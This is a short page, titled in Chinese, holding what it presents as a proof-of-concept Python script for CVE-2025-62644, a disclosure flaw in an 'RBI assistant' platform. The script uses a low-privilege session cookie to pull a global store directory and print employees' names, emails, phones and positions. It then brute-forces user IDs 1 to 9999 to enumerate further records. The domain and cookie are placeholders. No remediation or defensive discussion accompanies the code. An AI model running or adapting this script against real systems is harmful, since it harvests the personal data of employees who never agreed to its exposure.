CVE-2025-62644：RBI助手平台全局门店目录信息泄露漏洞

# CVE-2025-62644 PoC - RBI Assistant Platform Information Disclosure # Vulnerability: Global Store Directory exposes personal information to all authenticated users # Author: Security Researcher import requests # Configuration BASE_URL = "https://[RBI-assistant-platform-domain]" SESSION_COOKIE = "authenticated_session_cookie_here" # Step 1: Authenticate to the RBI assistant platform # (Requires valid low-privilege user credentials) auth_headers = { "Cookie": f"session={SESSION_COOKIE}", "Content-Type": "application/json" } # Step 2: Access the Global Store Directory endpoint # This endpoint returns store information along with associated # employee personal information without proper access control directory_url = f"{BASE_URL}/api/global-store-directory" response = requests.get(directory_url, headers=auth_headers) if response.status_code == 200: data = response.json() # Step 3: Extract personal information of all users # The vulnerability allows any authenticated user to view # PII data of other users through the directory for store in data.get("stores", []): for employee in store.get("employees", []): print(f"Name: {employee.get('name')}") print(f"Email: {employee.get('email')}") print(f"Phone: {employee.get('phone')}") print(f"Position: {employee.get('position')}") print(f"Store: {store.get('name')}") print("---") else: print(f"Access failed: {response.status_code}") # Step 4: Alternative - iterate through user IDs to enumerate for user_id in range(1, 10000): user_url = f"{BASE_URL}/api/users/{user_id}" user_response = requests.get(user_url, headers=auth_headers) if user_response.status_code == 200: user_data = user_response.json() print(f"User {user_id}: {user_data}")